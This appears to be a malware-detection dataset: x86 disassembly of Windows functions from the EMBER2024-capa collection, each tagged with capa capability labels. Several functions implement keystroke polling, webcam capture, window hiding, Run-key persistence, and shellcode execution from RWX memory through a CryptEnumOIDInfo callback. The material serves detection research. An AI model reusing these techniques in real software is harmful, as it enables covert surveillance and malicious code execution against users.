joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b8be0
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
push ebx
mov byte [ebp - 1], 0
mov ebx, 0x14
mov dword [ebp - 0x1c], 0x14
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 3
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x3c], 3
mov dword [ebp - 0x34], 2
mov eax, 0x4b8ca8
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], 3
mov eax, 0x4b8cac
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0xc], eax
push 0
push 0
push 0
push 1
push 0x4b8ca8
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4b8c9f
xor eax, eax
push ebp
push 0x4b8c98
push dword fs:[eax]
mov dword fs:[eax], esp
push ebx
lea eax, [ebp - 0x1c]
push eax
push 0x4b
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetSetOptionA
push 0
push 0
push 0x25
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetSetOptionA
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b8c9f
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
mov al, byte [ebp - 1]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4b8f18
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb0
xor edx, edx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4b9133
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 0x105
mov eax, dword [ebp - 0x18]
call fcn.00402ba8
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x4b8f95
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
test eax, eax
je 0x4b8f7f
lea eax, [ebp - 0x20]
mov edx, dword [ebp - 8]
call fcn.00404a54
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b8f9c
mov eax, dword [ebp - 8]
call fcn.00402bd8
ret

Function at 0x4ba500
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov bl, 2
lea eax, [ebp - 0xa]
xor ecx, ecx
mov edx, 0xa
call fcn.00403264
push 0xa
lea eax, [ebp - 0xa]
push eax
push 0xd
push 0x400
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
je 0x4ba53a
cmp byte [ebp - 0xa], 0x31
jne 0x4ba538
mov bl, 1
jmp 0x4ba53a
xor ebx, ebx
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4bbc64
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 4], edx
mov esi, eax
xor ebx, ebx
mov eax, esi
call fcn.00469044
test al, al
je 0x4bbd22
mov byte [ebp - 9], 0
xor ebx, ebx
call sub.kernel32.dll_GetTickCount_1
mov dword [ebp - 8], eax
jmp 0x4bbd00
cmp word [esi + 0x5f2], 0
je 0x4bbcb5
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 9]
push eax
mov ecx, dword [ebp - 8]
mov edx, esi
mov eax, dword [esi + 0x5f4]
call dword [esi + 0x5f0]
mov al, byte [esi + 0x5e8]
or al, byte [ebp - 9]
jne 0x4bbcd7
cmp dword [ebp - 4], 0
jbe 0x4bbcd3
call sub.kernel32.dll_GetTickCount_1
sub eax, dword [ebp - 8]
cmp eax, dword [ebp - 4]
ja 0x4bbcd7
xor ebx, ebx
jmp 0x4bbcd9
mov bl, 1
test bl, bl
jne 0x4bbd22
mov eax, dword [0x548c10]
mov eax, dword [eax]
cmp byte [eax + 0x9c], 0
jne 0x4bbd22
mov eax, dword [0x548c10]
mov eax, dword [eax]
call fcn.00482400
push 1
call sub.kernel32.dll_Sleep_1
test esi, esi
je 0x4bbd22
cmp byte [esi + 0x588], 0
jne 0x4bbd22
mov edx, 0xfffffdf3
mov eax, esi
call fcn.0049aca4
cmp eax, 4
jne 0x4bbc92
mov byte [esi + 0x5e8], 0
test bl, bl
sete al
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4d8778
Capabilities:
Check os version

Disassembly:
add esp, 0xffffff6c
mov dword [esp], 0x94
push esp
call sub.kernel32.dll_GetVersionExA
cmp dword [esp + 0x10], 2
jne 0x4d879d
cmp dword [esp + 4], 5
jb 0x4d879d
mov al, 1
jmp 0x4d879f
xor eax, eax
add esp, 0x94
ret
Function at 0x4efa7c
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc10
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x3f0], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x4efb36
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00404f68
mov eax, dword [0x5486f8]
cmp byte [eax], 0
je 0x4efaeb
push esi
call sub.user32.dll_GetWindowTextLengthW
mov edx, eax
inc edx
mov eax, ebx
call fcn.00405304
mov eax, dword [ebx]
call fcn.00405130
push eax
mov eax, dword [ebx]
call fcn.00405120
push eax
push esi
call sub.user32.dll_GetWindowTextW
mov eax, dword [ebx]
call fcn.00405130
mov edx, eax
dec edx
mov eax, ebx
call fcn.00405304
jmp 0x4efb1d
lea eax, [ebp - 0x3e9]
push eax
push 0x3e8
push 0xd
push esi
call sub.user32.dll_SendMessageA
lea edx, [ebp - 0x3f0]
lea eax, [ebp - 0x3e9]
call fcn.0040a0b8
mov edx, dword [ebp - 0x3f0]
mov eax, ebx
call fcn.00405110
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4efb3d
lea eax, [ebp - 0x3f0]
call fcn.0040485c
ret

Function at 0x4f2dcc
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x4f2e26
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [esi + 0x2c8], ecx
mov dword [esi + 0x2cc], edx
mov eax, dword [edx + 0x4c]
mov dword [esi + 0x2bc], eax
mov eax, dword [eax + 0x44]
mov dword [esi + 0xc], eax
mov edx, dword [esi + 0x2c8]
mov eax, esi
call fcn.004f2e30
mov eax, dword [esi + 0x2c8]
mov edx, dword [eax + 0x30]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x68]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f2e2d
ret

Function at 0x4f9660
Capabilities:
Capture webcam image

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff0
mov edi, edx
mov ebx, eax
mov eax, dword [ebx + 0x50]
push eax
call sub.user32.dll_IsWindow
test eax, eax
jne 0x4f9696
jmp 0x4f973c
push 0xfffffffffffffff0
mov eax, dword [ebx + 0x50]
push eax
call sub.user32.dll_GetWindowLongA
mov esi, eax
mov eax, esp
push eax
push 0
push 0x419
mov eax, dword [ebx + 0x50]
push eax
call sub.user32.dll_SendMessageA
xor eax, eax
test esi, 2
jbe 0x4f96da
mov edx, dword [ebx + 0x4c]
cmp dword [edx + 0x184], 0
je 0x4f96da
mov eax, dword [ebx + 0x4c]
mov eax, dword [eax + 0x184]
mov eax, dword [eax + 0x14]
jmp 0x4f96ea
mov edx, dword [ebx + 0x4c]
mov edx, dword [edx + 0x180]
test edx, edx
je 0x4f96ea
mov eax, dword [edx + 0x14]
test eax, eax
je 0x4f9703
push eax
push 2
push 5
mov edx, dword [edi + 0x10]
lea ecx, [esp + 0xc]
mov eax, ebx
call fcn.004f5fec
jmp 0x4f973c
mov dl, 1
mov eax, dword [0x4296d8]
call fcn.0042b6e0
mov esi, eax
mov edx, dword [edi + 0x10]
mov eax, esi
call fcn.0042c150
mov eax, dword [ebx + 0x4c]
mov edx, dword [eax + 0xc4]
mov eax, dword [esi + 0x10]
call fcn.0042b290
mov edx, esp
mov eax, esi
call fcn.0042bde4
mov eax, esi
call fcn.0040390c
add esp, 0x10
pop edi
pop esi
pop ebx
ret

Function at 0x4fbf40
Capabilities:
Hide graphical window

Disassembly:
push ebx
mov ebx, eax
push 0
mov eax, ebx
call fcn.00468d40
push eax
call sub.user32.dll_ShowWindow
mov byte [ebx + 0x279], 0
xor edx, edx
mov eax, ebx
call fcn.00462440
pop ebx
ret
Function at 0x502898
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc10
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x3f0], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x502952
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00404f68
mov eax, dword [0x5486f8]
cmp byte [eax], 0
je 0x502907
push esi
call sub.user32.dll_GetWindowTextLengthW
mov edx, eax
inc edx
mov eax, ebx
call fcn.00405304
mov eax, dword [ebx]
call fcn.00405130
push eax
mov eax, dword [ebx]
call fcn.00405120
push eax
push esi
call sub.user32.dll_GetWindowTextW
mov eax, dword [ebx]
call fcn.00405130
mov edx, eax
dec edx
mov eax, ebx
call fcn.00405304
jmp 0x502939
lea eax, [ebp - 0x3e9]
push eax
push 0x3e8
push 0xd
push esi
call sub.user32.dll_SendMessageA
lea edx, [ebp - 0x3f0]
lea eax, [ebp - 0x3e9]
call fcn.0040a0b8
mov edx, dword [ebp - 0x3f0]
mov eax, ebx
call fcn.00405110
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x502959
lea eax, [ebp - 0x3f0]
call fcn.0040485c
ret

Function at 0x502960
Capabilities:
Get graphical window text

Disassembly:
push ebx
add esp, 0xfffffc14
mov ebx, edx
mov edx, esp
push edx
push 0x3e8
push 0xd
push eax
call sub.user32.dll_SendMessageA
mov edx, ebx
mov eax, esp
call fcn.0040a0b8
add esp, 0x3ec
pop ebx
ret

Function at 0x502b20
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffff00
mov esi, edx
mov ebp, eax
mov edx, esi
mov eax, dword [ebp + 0x3c]
call dword [ebp + 0x38]
cmp dword [esi + 0xc], 0
jne 0x502be6
push esp
call sub.user32.dll_GetKeyboardState
mov eax, esp
call fcn.00479728
mov ebx, eax
mov dx, word [esi + 4]
mov eax, ebp
call fcn.005027dc
mov edi, eax
test edi, edi
je 0x502b7f
mov al, byte [0x502bf4]
cmp al, bl
jne 0x502b7f
mov edx, edi
mov eax, ebp
call fcn.00502714
mov dword [esi + 0xc], 1
mov byte [ebp + 0x31], 1
jmp 0x502be6
cmp byte [ebp + 0x161], 2
jne 0x502baa
mov eax, dword [esi + 8]
push eax
movzx ecx, word [esi + 4]
mov eax, dword [0x548df0]
mov eax, dword [eax]
mov eax, dword [eax + 0x44]
mov edx, 0xb006
call fcn.004636d4
test eax, eax
jne 0x502be6
jmp 0x502be1
mov edx, dword [0x548c10]
mov edx, dword [edx]
mov edx, dword [edx + 0x44]
mov eax, dword [ebp + 0x128]
cmp edx, eax
je 0x502be1
test byte [eax + 0x2f4], 8
jne 0x502be1
mov eax, dword [esi + 8]
push eax
movzx ecx, word [esi + 4]
mov eax, dword [0x548c10]
mov eax, edx
mov edx, 0xb006
call fcn.004636d4
xor eax, eax
mov dword [esi + 0xc], eax
add esp, 0x100
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x508fa0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff8
mov esi, edx
lea edi, [esp]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ebx, eax
mov eax, dword [0x548df0]
mov eax, dword [eax]
cmp dword [eax + 0x58], 0
jne 0x509046
call sub.kernel32.dll_GetTickCount_1
sub eax, dword [ebx + 0x80]
xor edx, edx
push edx
push eax
mov eax, dword [ebx + 0x84]
cdq
cmp edx, dword [esp + 4]
jne 0x508fe5
cmp eax, dword [esp]
pop edx
pop eax
jae 0x509021
jmp 0x508fe9
pop edx
pop eax
jge 0x509021
mov eax, dword [0x548df0]
mov eax, dword [eax]
mov dword [eax + 0x38], 2
call sub.kernel32.dll_GetTickCount_1
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00503914
mov eax, dword [ebx + 0xf4]
test eax, eax
je 0x509046
mov ecx, dword [esp + 4]
mov edx, dword [esp]
mov ebx, dword [eax]
call dword [ebx + 0x40]
jmp 0x509046
cmp dword [ebx + 0x11c], 0
je 0x509046
xor edx, edx
mov eax, dword [ebx + 0x58]
call fcn.0043a288
push 0
push 0
push 0x10
mov eax, dword [ebx + 0x12c]
push eax
call sub.user32.dll_PostMessageA
pop ecx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x513b94
Capabilities:
Hide graphical window

Disassembly:
push ebx
mov ebx, eax
cmp byte [ebx + 0x98], 0
je 0x513bba
push 0
mov eax, dword [ebx + 0x94]
call fcn.00468d40
push eax
call sub.user32.dll_ShowWindow
mov byte [ebx + 0x98], 0
pop ebx
ret

Function at 0x513c74
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x513de5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 0xa4], 1
mov eax, dword [ebp - 4]
test byte [eax + 0x1c], 0x10
jne 0x513dca
lea eax, [ebp - 0x10d]
push eax
push pe_nt_image_headers32
call sub.kernel32.dll_GetTempPathA
lea edx, [ebp - 8]
lea eax, [ebp - 0x10d]
call fcn.0040a0b8
mov dl, 1
mov eax, dword [0x4e973c]
call fcn.004e9794
mov edx, dword [ebp - 4]
mov dword [edx + 0x9c], eax
mov dl, 1
mov eax, dword [0x41c880]
call fcn.004038dc
mov edx, dword [ebp - 4]
mov dword [edx + 0x3c], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xa0]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x9c]
call fcn.004e9810
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x513dc7
mov dl, 1
mov eax, dword [0x4ead54]
call fcn.004eadbc
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x9c]
mov edx, 0x513dfc
call fcn.004e9f78
lea eax, [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.00404b68
xor eax, eax
push ebp
push 0x513dc0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
xor ecx, ecx
xor edx, edx
mov ebx, dword [eax]
call dword [ebx + 0x14]
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x3c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
call fcn.004eb0bc
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.00513e04
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x513dc7
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x9c]
call fcn.0040390c
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
call fcn.0040390c
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
call fcn.0040390c
ret
mov bl, byte [ebp - 0xd]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x513dec
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00404880
ret
Function at 0x51d638
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
mov ecx, 8
push 0
push 0
dec ecx
jne 0x51d640
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x51d832
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, dword [ebx + 8]
lea ecx, [ebp - 0xc]
mov edx, 0x51d848
mov eax, esi
call fcn.0051b3c8
mov edx, dword [ebp - 0xc]
lea eax, [ebx + 0xc]
call fcn.004048b0
lea ecx, [ebp - 0x10]
mov edx, 0x51d85c
mov eax, esi
call fcn.0051b3c8
mov edx, dword [ebp - 0x10]
lea eax, [ebx + 0x28]
call fcn.004048b0
lea ecx, [ebp - 0x14]
mov edx, 0x51d874
mov eax, esi
call fcn.0051b3c8
mov edx, dword [ebp - 0x14]
lea eax, [ebx + 0x10]
call fcn.004048b0
lea ecx, [ebp - 0x18]
mov edx, 0x51d890
mov eax, esi
call fcn.0051b3c8
mov edx, dword [ebp - 0x18]
lea eax, [ebx + 0x14]
call fcn.004048b0
lea ecx, [ebp - 0x1c]
mov edx, 0x51d8ac
mov eax, esi
call fcn.0051b3c8
mov edx, dword [ebp - 0x1c]
lea eax, [ebx + 0x24]
call fcn.004048b0
lea ecx, [ebp - 0x24]
mov edx, 0x51d8c4
mov eax, esi
call fcn.0051b3c8
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x20]
call fcn.004094c4
mov eax, dword [ebp - 0x20]
or edx, 0xffffffff
call fcn.004098b8
mov edi, eax
mov dword [ebx + 0x18], edi
test edi, edi
setge al
mov byte [ebx + 0x4c], al
lea ecx, [ebp - 0x28]
mov edx, 0x51d8dc
mov eax, esi
call fcn.0051b3c8
mov eax, dword [ebp - 0x28]
call fcn.0051a4e0
fstp qword [ebx + 0x30]
wait
lea ecx, [ebp - 0x2c]
mov edx, 0x51d8ec
mov eax, esi
call fcn.0051b3c8
mov eax, dword [ebp - 0x2c]
call fcn.0051a4e0
fstp qword [ebx + 0x40]
wait
lea ecx, [ebp - 0x30]
mov edx, 0x51d904
mov eax, esi
call fcn.0051b3c8
mov eax, dword [ebp - 0x30]
or edx, 0xffffffff
call fcn.004098b8
inc eax
je 0x51d7d5
lea ecx, [ebp - 0x34]
mov edx, 0x51d904
mov eax, esi
call fcn.0051b3c8
mov eax, dword [ebp - 0x34]
call fcn.0040987c
mov edi, eax
mov eax, edi
mov ecx, 0xe10
cdq
idiv ecx
mov dword [ebp - 8], eax
mov eax, edi
mov ecx, 0xe10
cdq
idiv ecx
mov ecx, edx
mov eax, ecx
push ecx
mov ecx, 0x3c
cdq
idiv ecx
pop ecx
mov dword [ebp - 4], eax
mov eax, ecx
mov ecx, 0x3c
cdq
idiv ecx
mov edi, edx
push 0
mov ecx, edi
mov dx, word [ebp - 4]
mov ax, word [ebp - 8]
call fcn.0040b3ac
fstp qword [ebp - 0x3c]
wait
call fcn.0040b71c
fadd qword [ebp - 0x3c]
fstp qword [ebx + 0x38]
wait
jmp 0x51d7f0
lea ecx, [ebp - 0x40]
mov edx, 0x51d904
mov eax, esi
call fcn.0051b3c8
mov eax, dword [ebp - 0x40]
call fcn.0051a4e0
fstp qword [ebx + 0x38]
wait
lea ecx, [ebp - 0x44]
mov edx, 0x51d914
mov eax, esi
call fcn.0051b3c8
mov edx, dword [ebp - 0x44]
lea eax, [ebx + 0x48]
call fcn.004048b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x51d839
lea eax, [ebp - 0x44]
mov edx, 2
call fcn.00404880
lea eax, [ebp - 0x34]
mov edx, 0xb
call fcn.00404880
ret
Function at 0x529ad0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
xor edx, edx
push ebp
push 0x529b2a
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [eax + 0x30]
call fcn.00529ac0
mov ebx, eax
lea edx, [ebp - 4]
mov eax, edi
call fcn.0051914c
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xc]
call fcn.00518d4c
mov edx, dword [esi + 8]
mov eax, dword [ebx + 0x10]
mov ecx, dword [eax]
call dword [ecx + 8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x529b31
lea eax, [ebp - 4]
call fcn.0040485c
ret
Function at 0x5346f8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 5
push 0
push 0
dec ecx
jne 0x534700
push ecx
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x534915
push dword fs:[eax]
mov dword fs:[eax], esp
test ebx, ebx
je 0x5348fa
lea eax, [ebp - 4]
mov edi, dword [ebx + 0xc]
mov edx, dword [edi + 0x10]
call fcn.004048f4
cmp dword [ebp - 4], 0
je 0x5348fa
lea eax, [ebp - 8]
mov edx, dword [edi]
call fcn.004048f4
cmp dword [ebp - 8], 0
jne 0x534758
lea eax, [ebp - 8]
mov edx, dword [edi + 4]
call fcn.004048f4
mov eax, dword [edi + 4]
mov edx, dword [ebp - 8]
call fcn.00404e60
test eax, eax
jle 0x534775
lea eax, [ebp - 8]
mov edx, dword [ebx + 0xc]
mov edx, dword [edx + 4]
call fcn.004048f4
lea edx, [ebp - 0xc]
mov eax, dword [esi + 0x348]
call fcn.00462520
call fcn.00402fd4
mov eax, dword [esi + 0x39c]
call fcn.00447284
call fcn.004453e8
mov edi, eax
lea edx, [ebp - 0x18]
mov eax, dword [ebp - 0xc]
call fcn.004094c4
cmp dword [ebp - 0x18], 0
jne 0x5347dc
mov eax, dword [0x548d44]
mov eax, dword [eax]
push dword [eax + edi*8]
push 0x53492c
mov eax, 0x3e8
call fcn.00403284
lea edx, [ebp - 0x1c]
call fcn.00409740
push dword [ebp - 0x1c]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404bdc
lea edx, [ebp - 0x10]
mov eax, dword [esi + 0x344]
call fcn.00462520
cmp dword [ebp - 0x10], 0
jne 0x5347fe
lea eax, [ebp - 0x10]
mov edx, dword [ebx + 0xc]
mov edx, dword [edx + 0x14]
call fcn.004048f4
mov eax, dword [esi + 0x38c]
mov edx, dword [eax]
call dword [edx + 0xc8]
test al, al
je 0x53482d
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebx + 0xc]
mov ecx, dword [eax + 4]
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.00535148
jmp 0x5348fa
mov al, byte [0x534934]
push eax
lea eax, [ebp - 0x20]
push eax
mov ecx, 0x534940
mov edx, 0x534950
mov eax, dword [ebp - 8]
call fcn.0040eaf0
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 8]
call fcn.004048f4
mov al, byte [0x534934]
push eax
lea eax, [ebp - 0x24]
push eax
mov ecx, 0x534940
mov edx, 0x534950
mov eax, dword [ebp - 0xc]
call fcn.0040eaf0
mov edx, dword [ebp - 0x24]
lea eax, [ebp - 0xc]
call fcn.004048f4
mov al, byte [0x534934]
push eax
lea eax, [ebp - 0x28]
push eax
mov ecx, 0x534940
mov edx, 0x534950
mov eax, dword [ebp - 0x10]
call fcn.0040eaf0
mov edx, dword [ebp - 0x28]
lea eax, [ebp - 0x10]
call fcn.004048f4
push 0x53495c
push dword [ebp - 4]
push 0x534950
push dword [ebp - 8]
push 0x534950
mov eax, dword [ebx + 0xc]
push dword [eax + 4]
push 0x534950
push dword [ebp - 0xc]
push 0x534950
push dword [ebp - 0x10]
lea eax, [ebp - 0x14]
mov edx, 0xa
call fcn.00404bdc
push 1
lea eax, [ebp - 0x2c]
mov ecx, dword [ebp - 0x14]
mov edx, 0x534970
call fcn.00404b68
mov eax, dword [ebp - 0x2c]
call fcn.00404d1c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x53491c
lea eax, [ebp - 0x2c]
mov edx, 0xb
call fcn.00404880
ret
Function at 0x100016a0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [ebp + 8]
push ebx
push esi
xor edx, edx
push edi
mov dword [ebp - 8], edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100016b4
sub eax, esi
mov ecx, 0xb
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov ebx, eax
lea eax, [ebp - 4]
push eax
push 0xf003f
push edx
lea ecx, [ebp - 0x40]
push ecx
push 0x80000001
mov dword [ebp - 4], edx
movsw word es:[edi], word [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10001737
mov ecx, dword [ebp + 8]
mov edx, dword [str.ADialog]
mov eax, dword [0x1000b168]
push ebx
push ecx
push 1
mov dword [ebp - 0x10], edx
push 0
lea edx, [ebp - 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, 1
test eax, eax
je 0x10001724
mov esi, dword [ebp - 8]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001750
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100087d8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x150
push ebx
push esi
push edi
sub esp, 0x1c
mov ecx, esp
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x10], esp
xor eax, eax
mov esi, 7
mov dword [ecx + 0x14], esi
mov dword [ecx + 0x10], ebx
push ebx
lea edx, [ebp + 8]
mov word [ecx], ax
push edx
or eax, 0xffffffff
call fcn.10001be0
call fcn.10001280
add esp, 0x1c
cmp eax, 1
jne 0x100017ff
mov ecx, 0xa
mov esi, 0x1000b16c
lea edi, [ebp - 0x58]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x58]
call fcn.10001220
push 0x40
push 0x3000
push 0x3405
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
cmp esi, ebx
je 0x100018d6
push 0x3405
push 0x1000dbd8
push esi
call fcn.10006e60
add esp, 0xc
push esi
push ebx
push ebx
push ebx
call dword [sym.imp.CRYPT32.dll_CryptEnumOIDInfo]
jmp 0x100018d6
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
xor eax, eax
mov dword [ecx + 0x14], esi
mov dword [ecx + 0x10], ebx
push ebx
lea edx, [ebp + 8]
mov word [ecx], ax
push edx
or eax, 0xffffffff
call fcn.10001be0
call fcn.100013d0
mov ecx, esp
mov dword [ebp - 0x10], esp
xor eax, eax
mov dword [ecx + 0x14], esi
mov dword [ecx + 0x10], ebx
push ebx
lea edx, [ebp + 8]
mov word [ecx], ax
push edx
or eax, 0xffffffff
call fcn.10001be0
lea eax, [ebp - 0x2c]
push eax
call fcn.10001140
lea ecx, [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x4c]
push edx
mov byte [ebp - 4], 1
call fcn.100024c0
add esp, 0x28
mov edi, eax
lea esi, [ebp - 0x2c]
mov byte [ebp - 4], 2
call fcn.10001980
mov esi, 0x10
cmp dword [ebp - 0x38], esi
jb 0x10001882
mov eax, dword [ebp - 0x4c]
push eax
call fcn.10002c0c
add esp, 4
push 0x103
lea ecx, [ebp - 0x15b]
push ebx
push ecx
mov byte [ebp - 0x15c], bl
call fcn.10006010
mov eax, dword [ebp - 0x2c]
add esp, 0xc
cmp dword [ebp - 0x18], esi
jae 0x100018a8
lea eax, [ebp - 0x2c]
push eax
lea edx, [ebp - 0x15c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x15c]
push eax
call fcn.100016a0
add esp, 4
cmp dword [ebp - 0x18], esi
jb 0x100018d6
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.10002c0c
add esp, 4
cmp dword [ebp + 0x1c], 8
jb 0x100018e8
mov edx, dword [ebp + 8]
push edx
call fcn.10002c0c
add esp, 4
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret